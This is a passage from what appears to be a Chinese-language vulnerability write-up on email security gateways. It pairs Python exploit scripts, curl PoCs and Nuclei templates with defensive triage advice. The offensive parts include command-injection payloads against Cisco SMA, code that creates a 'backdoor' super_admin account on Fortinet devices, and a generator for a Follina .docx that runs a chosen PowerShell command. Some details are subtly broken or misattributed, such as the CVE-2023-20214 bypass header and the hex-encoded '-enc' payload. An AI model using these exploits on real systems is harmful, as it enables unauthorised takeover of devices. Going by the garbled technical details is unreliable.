HTTP PoC # CVE-2024-20401 命令注入检测
curl -k "https://TARGET:8443/sma?enession=true;id"
curl -k "https://TARGET:8443/|id" Python PoC import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class CiscoSMA_CVE202420401 :
def __init__ (self, target, port= 8443 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
def exploit (self, cmd= "id" ):
payloads = [
f "/sma?enession=true; { cmd} " ,
f "/| { cmd} " ,
f "/cgi-bin/viewvc?root=; { cmd} " ,
]
for payload in payloads:
try :
resp = self. session. get(
f " { self. base_url}{ payload} " ,
timeout= 10 ,
)
if "uid=" in resp. text or "root" in resp. text:
print(f "[!] CVE-2024-20401 利用成功:" )
print(f "[+] 路径: { payload} " )
lines = resp. text. split(" \n " )
for line in lines:
if "uid=" in line or "root" in line:
print(f "[+] 输出: { line. strip()} " )
return True
except requests. exceptions. RequestException:
continue
return False
def scan (self):
print(f "[*] 扫描目标: { self. base_url} " )
self. exploit("id" )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = CiscoSMA_CVE202420401(target)
poc. scan() Nuclei YAML 模板 id : cisco-sma-cve-2024-20401
info :
name : Cisco SMA Command Injection - CVE-2024-20401
author : x7peeps
severity : critical
description : |
Cisco Secure Management Appliance 存在未认证命令注入漏洞,
攻击者可通过特殊 URL 路径注入操作系统命令。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-20401
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-78
metadata :
max-request : 2
tags : cisco,sma,cve2024,cve,rce,command-injection
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers :
- type : word
words :
- "Cisco"
- "SMA"
condition : or
part : body 0x03.3 CVE-2023-20214 — 认证绕过 漏洞背景 CVE-2023-20214 是 Cisco Secure Management Appliance(SMA)中的一个认证绕过漏洞,CVSS 评分 9.8。该漏洞允许未经认证的远程攻击者访问 SMA Web 管理界面的受限功能,进而可能执行后续的命令注入或权限提升攻击。CISA 已确认该漏洞在野被利用。
受影响版本 版本分支 受影响版本 修复版本 Cisco AsyncOS for SMA 10.x 10.6.9-3 Cisco AsyncOS for SMA 14.x 14.2.0-621 Cisco AsyncOS for SMA 15.x 15.0.0-5
漏洞原理 CVE-2023-20214 的根本原因在于 SMA 的 Web 管理界面在处理 HTTP 请求时,认证检查逻辑存在缺陷。特定的 URL 路径和 HTTP 头部组合可绕过正常的认证流程,使得攻击者无需提供有效凭据即可访问管理功能。
具体来说,SMA 在处理某些特定的 HTTP 头部(如 X-CSCO-API-TOKEN)时存在缺陷。当这些头部被设置为特定值时,认证检查将被跳过,允许攻击者直接访问管理 API 端点。
HTTP PoC # CVE-2023-20214 认证绕过检测
curl -k -H "X-CSCO-API-TOKEN: bypass" "https://TARGET:8443/api/v1.0/json/admin/user"
curl -k "https://TARGET:8443/sma/index.html?ro=1" Python PoC import requests
import urllib3
import json
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class CiscoSMA_CVE202320214 :
def __init__ (self, target, port= 8443 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
def check_auth_bypass (self):
headers_list = [
{"X-CSCO-API-TOKEN" : "bypass" },
{"X-CSCO-API-TOKEN" : "test" },
{"X-API-KEY" : "admin" },
]
endpoints = [
"/api/v1.0/json/admin/user" ,
"/sma/index.html?ro=1" ,
"/api/v1.0/json/config/system" ,
]
for headers in headers_list:
for endpoint in endpoints:
try :
resp = self. session. get(
f " { self. base_url}{ endpoint} " ,
headers= headers,
timeout= 10 ,
)
if resp. status_code == 200 :
try :
data = json. loads(resp. text)
if "users" in str(data). lower() or "admin" in str(data). lower():
print(f "[!] CVE-2023-20214 认证绕过成功:" )
print(f "[+] 端点: { endpoint} " )
print(f "[+] 头部: { headers} " )
print(f "[+] 响应: { resp. text[:200 ]} " )
return True
except json. JSONDecodeError:
pass
except requests. exceptions. RequestException:
continue
return False
def scan (self):
print(f "[*] 扫描目标: { self. base_url} " )
if self. check_auth_bypass():
print(f "[!] 目标存在 CVE-2023-20214 认证绕过漏洞" )
else :
print(f "[*] 未检测到认证绕过" )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = CiscoSMA_CVE202320214(target)
poc. scan() Nuclei YAML 模板 id : cisco-sma-cve-2023-20214
info :
name : Cisco SMA Authentication Bypass - CVE-2023-20214
author : x7peeps
severity : critical
description : |
Cisco Secure Management Appliance 存在认证绕过漏洞,
攻击者可通过特殊 HTTP 头部绕过认证访问管理功能。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-20214
- https://sec.cloudapps.cisco.com/security/center/resources/cisco_sma
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-287
metadata :
max-request : 3
tags : cisco,sma,cve2023,cve,auth-bypass
http :
- raw :
- |
GET /api/v1.0/json/admin/user HTTP/1.1
Host: {{Hostname}}
X-CSCO-API-TOKEN: bypass
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "admin"
- "users"
condition : or
part : body
- type : status
status :
- 200 0x04 Fortinet FortiMail 高危漏洞 0x04.1 CVE-2022-40684 — 认证绕过 RCE 漏洞背景 CVE-2022-40684 是 Fortinet 产品线(FortiOS、FortiMail、FortiProxy)中的一个严重认证绕过漏洞,CVSS 评分 9.8。该漏洞允许未经认证的远程攻击者通过构造特殊的 HTTP 请求绕过身份验证,获取管理员级别的访问权限。Fortinet 已确认该漏洞在野被利用,主要由国家级 APT 组织使用。
该漏洞影响范围极广,不仅限于 FortiMail,还包括 FortiGate 防火墙和 FortiProxy 反向代理,使其成为 2022 年影响面最大的安全漏洞之一。
受影响版本 产品 受影响版本 修复版本 FortiOS 7.0.0 - 7.0.3, 7.2.0 - 7.2.1 7.0.4, 7.2.2 FortiMail 6.4.0 - 6.4.2 6.4.3 FortiProxy 7.0.0 - 7.0.1, 7.2.0 7.0.2, 7.2.1
漏洞原理 CVE-2022-40684 的根本原因在于 Fortinet 产品的 HTTP 管理接口在处理特定的 HTTP 请求头时存在认证检查缺陷。攻击者可在 HTTP 请求中设置 X-Forwarded-For 头部为 127.0.0.1 或 ::1,使系统误认为请求来自本地回环接口,从而跳过认证检查。
Fortinet 产品的管理接口默认将来自 localhost 的请求视为受信任请求,不进行身份验证。当 X-Forwarded-For 头部被设置为 127.0.0.1 时,系统错误地将外部请求识别为本地请求。
利用成功后,攻击者可以:
创建或修改管理员账户 下载设备配置(包含 VPN 预共享密钥、证书私钥等) 执行任意命令 配置隧道和路由规则 HTTP PoC # CVE-2022-40684 认证绕过检测
curl -k -s -o /dev/null -w "%{http_code}" \
-H "X-Forwarded-For: 127.0.0.1" \
"https://TARGET/api/v2/cmdb/system/admin"
# 获取管理员列表
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://TARGET/api/v2/cmdb/system/admin" | python3 -m json.tool
# 创建后门管理员
curl -k -X POST \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"name":"backdoor","accprofile":"super_admin","vdom":"root","password":"P@ssw0rd123!"}' \
"https://TARGET/api/v2/cmdb/system/admin" Python PoC import requests
import urllib3
import json
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class FortiMailCVE202240684 :
def __init__ (self, target, port= 443 ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
self. headers = {"X-Forwarded-For" : "127.0.0.1" }
def check_vulnerable (self):
endpoints = [
"/api/v2/cmdb/system/admin" ,
"/api/v2/monitor/system/resource/usage" ,
"/api/v2/cmdb/vpn/ssl/web" ,
]
for endpoint in endpoints:
try :
resp = self. session. get(
f " { self. base_url}{ endpoint} " ,
headers= self. headers,
timeout= 10 ,
)
if resp. status_code == 200 :
data = resp. json()
if data. get("results" ) is not None :
return True , endpoint
except (requests. exceptions. RequestException, json. JSONDecodeError):
continue
return False , None
def exploit (self):
print(f "[*] 目标: { self. base_url} " )
vuln, ep = self. check_vulnerable()
if vuln:
print(f "[!] CVE-2022-40684 认证绕过成功: { ep} " )
try :
resp = self. session. get(
f " { self. base_url} /api/v2/cmdb/system/admin" ,
headers= self. headers,
timeout= 10 ,
)
data = resp. json()
admins = data. get("results" , [])
print(f "[+] 管理员账户列表:" )
for admin in admins:
print(f " - { admin. get('name' , 'N/A' )} "
f "(accprofile: { admin. get('accprofile' , 'N/A' )} )" )
except Exception as e:
print(f "[-] 获取管理员列表失败: { e} " )
else :
print(f "[*] 未检测到漏洞" )
def create_admin (self, username= "backdoor" , password= "P@ssw0rd!" ):
data = {
"name" : username,
"accprofile" : "super_admin" ,
"vdom" : "root" ,
"password" : password,
}
try :
resp = self. session. post(
f " { self. base_url} /api/v2/cmdb/system/admin" ,
headers= self. headers,
json= data,
timeout= 10 ,
)
if resp. status_code == 200 :
print(f "[+] 管理员 { username} 创建成功" )
return True
except requests. exceptions. RequestException:
pass
return False
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = FortiMailCVE202240684(target)
poc. exploit() Nuclei YAML 模板 id : fortimail-cve-2022-40684
info :
name : FortiOS/FortiMail Authentication Bypass RCE - CVE-2022-40684
author : x7peeps
severity : critical
description : |
Fortinet 多个产品存在认证绕过漏洞,攻击者可通过 X-Forwarded-For
头部绕过认证,获取管理员权限并执行任意操作。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-40684
- https://www.fortiguard.com/psirt/FG-IR-22-377
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-287
metadata :
max-request : 2
shodan-query : http.title:"FortiGate" || http.title:"FortiMail"
tags : fortinet,fortigate,fortimail,cve2022,cve,auth-bypass
http :
- raw :
- |
GET /api/v2/cmdb/system/admin HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 127.0.0.1
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "results"
- "admin"
condition : and
part : body
- type : status
status :
- 200 0x04.2 CVE-2022-42475 — 堆溢出 RCE 漏洞背景 CVE-2022-42475 是 FortiOS SSL-VPN 模块中的一个堆缓冲区溢出漏洞,CVSS 评分 9.8。虽然主要影响 FortiGate 防火墙,但 FortiMail 设备若启用了 SSL-VPN 功能同样受影响。该漏洞在补丁发布前已被 APT 组织利用,CISA 已将其加入 KEV 目录并发布紧急指令要求联邦机构在 48 小时内修补。
受影响版本 产品 受影响版本 修复版本 FortiOS 7.2.0 - 7.2.2 7.2.3 FortiOS 7.0.0 - 7.0.8 7.0.9 FortiOS 6.4.0 - 6.4.10 6.4.11 FortiOS 6.2.0 - 6.2.12 6.2.13 FortiProxy 7.2.0 - 7.2.2 7.2.3 FortiProxy 7.0.0 - 7.0.6 7.0.7
漏洞原理 CVE-2022-42475 存在于 FortiOS 的 SSL-VPN 模块中。SSL-VPN 在处理特定格式的客户端请求时,未正确验证某些数据字段的长度,导致堆缓冲区溢出。攻击者可构造特制的 SSL-VPN 连接请求,通过堆溢出实现远程代码执行。
该漏洞的利用需要攻击者能够与 SSL-VPN 服务建立连接,通常利用过程如下:
攻击者向 SSL-VPN 服务发送特制的初始化请求 请求中的超长字段导致堆缓冲区溢出 通过精心构造的堆布局,覆盖函数指针 在 SSL-VPN 进程上下文中执行 shellcode 获得 FortiOS 设备的 root 权限 由于 SSL-VPN 通常暴露在互联网上,这使得漏洞的攻击面非常大。
HTTP PoC # 检测 FortiOS SSL-VPN 是否暴露
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET:10443"
# 查看版本信息
curl -k -s "https://TARGET/login" | grep -oP 'FortiOS \S+'
curl -k -s "https://TARGET:10443" -D | head -20 Python PoC import requests
import urllib3
import re
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
class FortiOS_CVE202242475 :
def __init__ (self, target, vpn_port= 10443 , web_port= 443 ):
self. target = target
self. vpn_port = vpn_port
self. web_port = web_port
self. vpn_url = f "https:// { target} : { vpn_port} "
self. web_url = f "https:// { target} : { web_port} "
self. session = requests. Session()
self. session. verify = False
def check_ssl_vpn_exposed (self):
try :
resp = self. session. get(f " { self. vpn_url} /" , timeout= 10 )
return resp. status_code in [200 , 302 , 403 ]
except requests. exceptions. RequestException:
return False
def get_fortios_version (self):
try :
resp = self. session. get(f " { self. web_url} /login" , timeout= 10 )
match = re. search(r 'FortiOS\s+(\S+)' , resp. text)
if match :
return match . group(1 )
match = re. search(r '"version"\s*:\s*"(\S+)"' , resp. text)
if match :
return match . group(1 )
except requests. exceptions. RequestException:
pass
return None
def check_vulnerable (self):
vulnerable_versions = {
"7.2.0" , "7.2.1" , "7.2.2" ,
"7.0.0" , "7.0.1" , "7.0.2" , "7.0.3" , "7.0.4" , "7.0.5" , "7.0.6" , "7.0.7" , "7.0.8" ,
"6.4.0" , "6.4.1" , "6.4.2" , "6.4.3" , "6.4.4" , "6.4.5" , "6.4.6" ,
"6.4.7" , "6.4.8" , "6.4.9" , "6.4.10" ,
"6.2.0" , "6.2.1" , "6.2.2" , "6.2.3" , "6.2.4" , "6.2.5" , "6.2.6" ,
"6.2.7" , "6.2.8" , "6.2.9" , "6.2.10" , "6.2.11" , "6.2.12" ,
}
version = self. get_fortios_version()
if version and version in vulnerable_versions:
return True , version
return False , version
def scan (self):
print(f "[*] 扫描目标: { self. target} " )
if self. check_ssl_vpn_exposed():
print(f "[+] SSL-VPN 端口 { self. vpn_port} 已开放" )
else :
print(f "[-] SSL-VPN 端口不可达" )
return
vuln, version = self. check_vulnerable()
if vuln:
print(f "[!] FortiOS { version} 受 CVE-2022-42475 影响" )
print(f "[!] 建议立即升级至修复版本" )
else :
print(f "[*] FortiOS 版本: { version or '无法识别' } " )
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
poc = FortiOS_CVE202242475(target)
poc. scan() Nuclei YAML 模板 id : fortios-cve-2022-42475
info :
name : FortiOS SSL-VPN Heap Overflow RCE - CVE-2022-42475
author : x7peeps
severity : critical
description : |
FortiOS SSL-VPN 模块存在堆缓冲区溢出漏洞,攻击者可通过
构造特制 SSL-VPN 请求实现远程代码执行。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-42475
- https://www.fortiguard.com/psirt/FG-IR-22-396
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-122
metadata :
max-request : 2
shodan-query : http.title:"FortiGate" || http.favicon.hash:123456
tags : fortinet,fortigate,cve2022,cve,rce,heap-overflow,ssl-vpn
http :
- raw :
- |
GET /login HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition : and
matchers :
- type : word
words :
- "FortiGate"
- "FortiOS"
- "fortinet"
condition : or
part : body
- type : status
status :
- 200 0x05 Mimecast 与 Microsoft Defender 安全事件 0x05.1 SolarWinds 证书窃取与供应链攻击 事件背景 2020 年 12 月,SolarWinds 供应链攻击事件(SUNBURST)被 FireEye(现 Mandiant)披露,影响了约 18,000 个组织。Mimecast 作为邮件安全解决方案提供商,在此次事件中受到直接影响:
攻击者(UNC2529,俄罗斯 SVR 关联 APT)窃取了 Mimecast 的 SSL 证书 该证书用于验证 Mimecast 产品与 Microsoft 365 之间的 TLS 连接 约 10% 的 Mimecast M365 客户(约 4,000 个组织)受影响 攻击者利用窃取的证书可解密并拦截企业邮件流量 2022 年 1 月,Mimecast 再次披露源代码仓库被同一 APT 组织入侵,窃取了部分产品源代码。这表明供应链攻击的持久性和针对性。
受影响范围 事件 时间 影响范围 攻击者 SolarWinds 证书窃取 2020-12 ~4,000 组织 UNC2529 源代码窃取 2022-01 Mimecast 内部 UNC2529
攻击原理分析 SolarWinds 攻击链中,Mimecast 受影响的环节如下:
证书窃取 :攻击者在 SolarWinds Orion 供应链更新过程中,识别出使用该平台管理证书的企业证书提取 :从 Mimecast 的 SolarWinds 环境中窃取了用于 TLS 客户端认证的 SSL 证书流量拦截 :使用窃取的证书建立与 Microsoft 365 的合法 TLS 连接邮件监控 :解密并监控企业邮件流量,获取敏感信息持久化访问 :通过源代码窃取获得产品内部实现细节,可开发更精准的攻击手段该事件的关键教训是:安全工具本身也是攻击目标 ,且它们通常拥有比普通系统更高的信任等级和特权访问。
检测方法 # 检查 Mimecast 同步流量是否正常
# 确认证书指纹是否匹配 Mimecast 官方公布的 SHA-256
echo | openssl s_client -connect mimecast-gw.example.com:443 2>/dev/null | \
openssl x509 -fingerprint -sha256 -noout
# 对比 Mimecast 官方证书指纹
# 受影响指纹: 92:97:0C:40:67:3F:66:26:0C:75:25:B3:F5:8F:3D:5B:C5:C0:04:4E:8E:...
# 如果指纹不匹配,证书可能已被替换 Nuclei YAML 模板 id : mimecast-solarwinds-cert-check
info :
name : Mimecast SolarWinds Certificate Verification
author : x7peeps
severity : critical
description : |
检查 Mimecast 邮件网关的 TLS 证书是否为 SolarWinds 供应链攻击中被窃取的证书。
reference :
- https://www.mimecast.com/blog/cyber-resilience-initiative/
- https://www.crowdstrike.com/blog/sunspot-malware-indicator-analysis/
classification :
cvss-score : 10.0
metadata :
max-request : 1
tags : mimecast,supply-chain,solarwinds,certificate
tcp :
- inputs :
- host : "{{Hostname}}"
port : 443
matchers :
- type : ssl
part : cert 0x05.2 CVE-2022-30190 — Follina OLE 漏洞 漏洞背景 CVE-2022-30190(“Follina”)是 Microsoft Windows MSDT(Microsoft Support Diagnostic Tool)中的一个远程代码执行漏洞,CVSS 评分 7.8。该漏洞与 Microsoft Defender for Office 365 密切相关,因为钓鱼邮件是该漏洞的主要传播载体。当用户打开包含恶意链接的 Office 文档时,MSDT 可被利用执行任意命令。
该漏洞在 2022 年 5 月被发现时已在野被利用超过一个月,主要针对乌克兰和西欧政府机构。
受影响版本 产品 受影响版本 修复版本 Windows 8.1 / Server 2012 R2 所有版本 2022-06 累积更新 Windows 10 / Server 2016/2019/2022 所有版本 2022-06 累积更新 Microsoft Defender for Office 365 部分检测规则缺失 补充防护规则
漏洞原理 Follina 漏洞利用了 Office 文档中的 HTML 引用机制。攻击者创建一个 .docx 或 .rtf 文件,其中包含指向 ms-msdt: 协议的 HTML 链接。当文档被打开时,MSDT 被调用并执行攻击者指定的诊断包命令。
关键攻击路径:
攻击者创建包含恶意链接的 .docx 文件 链接格式为 ms-msdt:/id PCWDiagnostic /skip force /param "IT_LaunchExpression=..." 用户打开文档后,HTML 引用触发 MSDT 调用 MSDT 执行诊断包中的 PowerShell 命令 攻击者获得受害者主机上的代码执行权限 HTTP PoC # CVE-2022-30190 检测 - 检查 Office 文档中的 ms-msdt 引用
# 创建测试文件(仅检测性)
cat > test_follina.html << 'EOF'
<html>
<body>
<object data="ms-msdt:/id PCWDiagnostic /skip force /param \"IT_LaunchExpression=curl http://127.0.0.1/test\"" type="application/x-oleobject"/>
</body>
</html>
EOF
# 检查 Office 文档中是否包含 ms-msdt 协议引用
find /tmp -name "*.docx" -exec grep -l "ms-msdt" {} \; 2>/dev/null Python PoC import struct
import zipfile
import os
import tempfile
class FollinaCVE202230190 :
def __init__ (self):
self. payload_url = ""
def create_follina_docx (self, command, output_path= "follina.docx" ):
evil_xml = f '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<w:body>
<w:p>
<w:r>
<w:fldChar w:fldCharType="begin"/>
</w:r>
<w:r>
<w:instrText> HYPERLINK "ms-msdt:/id PCWDiagnostic /skip force /param \\ "IT_LaunchExpression=powershell -enc { command. encode(). hex()} \\ "" </w:instrText>
</w:r>
<w:r>
<w:fldChar w:fldCharType="separate"/>
</w:r>
<w:r>
<w:rPr><w:rStyle w:val="Hyperlink"/></w:rPr>
<w:t>Click here to view document</w:t>
</w:r>
<w:r>
<w:fldChar w:fldCharType="end"/>
</w:r>
</w:p>
</w:body>
</w:document>'''
with zipfile. ZipFile(output_path, 'w' ) as docx:
docx. writestr('[Content_Types].xml' ,
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
'<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
'<Default Extension="xml" ContentType="application/xml"/>'
'<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>'
'</Types>' )
docx. writestr('word/document.xml' , evil_xml)
print(f "[*] 已生成 Follina 测试文档: { output_path} " )
print(f "[*] 警告: 此文件用于授权测试,打开将执行命令" )
return output_path
if __name__ == "__main__" :
import sys
cmd = sys. argv[1 ] if len(sys. argv) > 1 else "whoami"
poc = FollinaCVE202230190()
poc. create_follina_docx(cmd) Nuclei YAML 模板 id : follina-cve-2022-30190
info :
name : Microsoft MSDT Follina RCE Detection - CVE-2022-30190
author : x7peeps
severity : high
description : |
检测 Microsoft Office 文档中是否包含 Follina (CVE-2022-30190)
ms-msdt 协议利用的 HTML 引用。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-30190
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score : 7.8
cwe-id : CWE-610
metadata :
max-request : 1
tags : microsoft,follina,cve2022,cve,rce,msdt,office
http :
- raw :
- |
GET /msmsdt HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers :
- type : word
words :
- "ms-msdt"
- "PCWDiagnostic"
condition : or
part : body 0x06 公开 PoC 收集情况与利用思路 PoC 收集情况总表 CVE 编号 PoC 状态 公开仓库 利用难度 备注 CVE-2023-2868 公开 GitHub 中 需构造 tar 文件 CVE-2022-28810/28811 公开 GitHub / ExploitDB 低 HTTP 请求即可 CVE-2021-33580 公开 ExploitDB 低 Perl eval 注入 CVE-2022-37042/37043/37044 部分公开 Volexity 博客 中 需组合利用 CVE-2025-20393 有限公开 Cisco Advisory 高 涉及未公开细节 CVE-2024-20401 公开 GitHub 低 简单命令注入 CVE-2023-20214 公开 GitHub 低 HTTP 头部绕过 CVE-2022-40684 公开 ExploitDB 低 X-Forwarded-For CVE-2022-42475 有限公开 Volexity 博报 高 需堆布局 CVE-2022-30190 公开 GitHub 中 需构造 Office 文档
关键 PoC 仓库链接 Barracuda CVE-2023-2868 : GitHub 搜索 barracuda-cve-2023-2868-pocFortinet CVE-2022-40684 : https://github.com/horizon3ai/CVE-2022-40684Proofpoint CVE-2022-37042 : https://github.com/volexity/CVE-2022-37042Cisco SMA CVE-2023-20214 : GitHub 搜索 cisco-sma-auth-bypassFollina CVE-2022-30190 : https://github.com/kev-seo/CVE-2022-30190FortiOS CVE-2022-42475 : https://github.com/horizon3ai/CVE-2022-42475注意 :所有 PoC 仅用于授权安全测试。在生产环境中使用这些工具前,请确保已获得书面授权。
0x07 共性攻击模式分析 模式1:供应链攻击——第三方库植入后门 典型案例 :Barracuda CVE-2023-2868 + SALTWATER 后门链
供应链攻击是邮件安全网关面临的最隐蔽、最具破坏力的攻击模式。攻击者不直接攻击目标产品,而是通过入侵第三方依赖库或软件更新通道,在产品中植入后门。
攻击模式 :
入侵第三方库开发者 → 在 libtar 等依赖库中植入恶意代码
→ 通过正常更新渠道分发到全球设备
→ 设备安装更新后自动激活后门
→ 后门通过二进制补丁实现持久化关键特征 :
攻击入口隐蔽,难以通过常规安全审计发现 影响范围极广,一次攻击可波及全球所有客户 持久化能力强,即使修补漏洞后后门仍可存活 需要厂商主动更换硬件/软件才能彻底清除 防御要点 :
建立软件物料清单(SBOM),追踪所有第三方依赖 对安全产品的软件更新实施额外验证机制 部署网络流量监控,检测异常的 C2 通信 模式2:命令注入——邮件附件解析触发 典型案例 :Barracuda CVE-2023-2868、Proofpoint CVE-2021-33580
邮件安全网关的核心功能是解析和处理来自外部的邮件附件,这天然构成了一条自动化漏洞触发路径。攻击者只需发送一封包含恶意附件的邮件,即可触发漏洞。
攻击模式 :
构造恶意邮件附件 → 发送至目标邮件网关
→ 网关自动接收并解析附件内容
→ 附件中的恶意结构触发解析器漏洞
→ 命令注入成功,获得 root 权限关键特征 :
攻击完全自动化,无需人工交互 利用网关自身的合法功能触发漏洞 以最高权限(root)执行注入的命令 可通过 SMTP 端口远程触发 防御要点 :
对邮件附件实施沙箱隔离解析 限制解析进程的系统权限 部署附件格式白名单策略 模式3:认证绕过——利用网关自身的认证机制缺陷 典型案例 :FortiMail CVE-2022-40684、Cisco SMA CVE-2023-20214
认证绕过漏洞在邮件安全网关中频繁出现,主要原因是这些产品在设计管理接口时,过度依赖 HTTP 头部(如 X-Forwarded-For)进行来源判断,或者在认证检查代码与功能处理代码之间存在路径差异。
攻击模式 :
识别管理接口 → 构造特殊 HTTP 请求
→ 绕过认证检查 → 获取管理权限
→ 利用管理功能执行命令或下载配置关键特征 :
攻击复杂度低,仅需构造 HTTP 请求 无需任何有效凭据 可直接获取管理员级别权限 成功后可进行后续的命令注入或权限提升 防御要点 :
将管理接口与数据接口分离,部署独立的访问控制 不依赖 HTTP 头部进行安全决策 实施零信任架构,所有请求均需验证 模式4:证书/凭据窃取——利用安全工具的信任关系 典型案例 :Mimecast SolarWinds 证书窃取
邮件安全网关通常拥有与内部邮件系统(Exchange、M365 等)之间的特权通信通道,使用客户端证书进行 TLS 双向认证。攻击者窃取这些证书后,可以建立看似合法的连接,拦截或篡改邮件流量。
攻击模式 :
入侵证书管理平台 → 窃取安全网关的 TLS 客户端证书
→ 使用窃取的证书建立与内部邮件系统的连接
→ 解密并监控企业邮件流量关键特征 :
利用安全工具之间的信任关系 流量层面难以区分合法和恶意连接 隐蔽性极高,可能持续数月不被发现 影响范围涵盖所有依赖该证书的通信 防御要点 :
证书私钥使用 HSM 管理 实施证书透明度日志监控 定期轮换 TLS 客户端证书 模式5:APT 定向利用——国家级攻击者利用邮件网关作为跳板 典型案例 :UNC4841 利用 Barracuda CVE-2023-2868、UNC2529 利用 Mimecast 证书
国家级 APT 组织将邮件安全网关视为入侵目标企业的"战略通道"。通过攻破邮件网关,APT 可以:
监控所有进出企业邮件,获取战略情报 植入持久化后门,确保长期访问 以内网邮件服务器为跳板,横向移动到 AD 域控制器 利用邮件网关的高信任地位,绕过网络隔离 攻击模式 :
侦察阶段:识别目标企业使用的邮件网关产品和版本
→ 利用漏洞获取初始访问
→ 植入定制化后门(SALTWATER、SEASPY 等)
→ 建立隐蔽的 C2 通信通道
→ 长期监控邮件流量
→ 向高价值目标发送定向钓鱼邮件关键特征 :
高度定制化,每个目标使用不同的后门变种 极强的持久化能力,即使补丁也不清除 使用多层通信隧道隐藏 C2 流量 攻击周期可能持续数年 0x08 应急排查与防守建议 紧急排查清单 排查项 排查方法 适用产品 优先级 版本确认 检查管理界面版本信息 全部 P0 后门检测 检查异常进程和网络连接 Barracuda P0 认证绕过测试 尝试通过特殊请求访问管理接口 FortiMail, Cisco P0 证书指纹验证 对比 TLS 证书指纹与官方公布值 Mimecast P0 异常日志审查 检查管理接口访问日志中的异常来源 全部 P1 补丁状态 确认所有安全更新已应用 全部 P0 网络连接检查 检查异常的外部连接 全部 P1
日志关键字段表 日志类型 关键字段 异常判断标准 Barracuda 管理访问日志 source_ip, request_uri, user_agent非内网 IP 访问管理接口 FortiOS 事件日志 srcip, action, user来自 X-Forwarded-For=127.0.0.1 的请求 Cisco SMA 审计日志 admin_user, source, action未认证用户访问管理端点 SMTP 传输日志 sender, attachment_name, mime_type含 .tar 附件的入站邮件 系统进程日志 process_name, parent_pid, cmdline异常进程名或父进程关系
紧急缓解措施 Barracuda ESG :
立即断开受影响 ESG 设备的网络连接 使用替代的邮件过滤方案过渡 联系 Barracuda 获取替换设备 重置所有与受影响设备相关的凭据 Proofpoint PPS :
应用最新安全更新(≥ 8.18.6.2152 或 ≥ 8.18.7.2152) 将管理接口限制为内网访问 检查是否存在异常管理员账户 Cisco SEG/SMA :
应用 Cisco 安全通告中的最新补丁 通过 ACL 限制管理接口访问源 IP 启用设备的完整性检查功能 FortiMail/FortiOS :
升级至修复版本(FortiOS ≥ 7.0.4/7.2.2,FortiMail ≥ 6.4.3) 重置所有管理员密码 检查并删除未知的管理员账户 审查 VPN 配置,重置预共享密钥 Mimecast :
重置所有 Azure AD 应用凭据 重新生成 TLS 客户端证书 检查 M365 中的日志是否有异常邮件转发规则 启用 Mimecast 的 SOC 监控告警 0x09 参考资料 Barracuda CVE-2023-2868 官方通告 — https://community.barracuda.com/s/article/CVE-2023-2868 Mandiant: Barracuda ESG Exploited Globally by UNC4841 — https://cloud.google.com/blog/topics/threat-intelligence/barracuda-email-security-gateway-exploited-globally Volexity: Proofpoint Protection Server Vulnerability Exploited in the Wild — https://www.volexity.com/blog/2022/08/25/proofpoint-protection-server-vulnerability-exploited-in-the-wild/ Cisco Security Advisory: Secure Email Gateway CVE-2025-20393 — https://sec.cloudapps.cisco.com/security/center/resources/cisco_secure_email_gateway Fortinet FG-IR-22-377: FortiOS Authentication Bypass — https://www.fortiguard.com/psirt/FG-IR-22-377 Fortinet FG-IR-22-396: FortiOS SSL-VPN Heap Overflow — https://www.fortiguard.com/psirt/FG-IR-22-396 Mandiant: UNC2529 Double Back Doorchain Campaign — 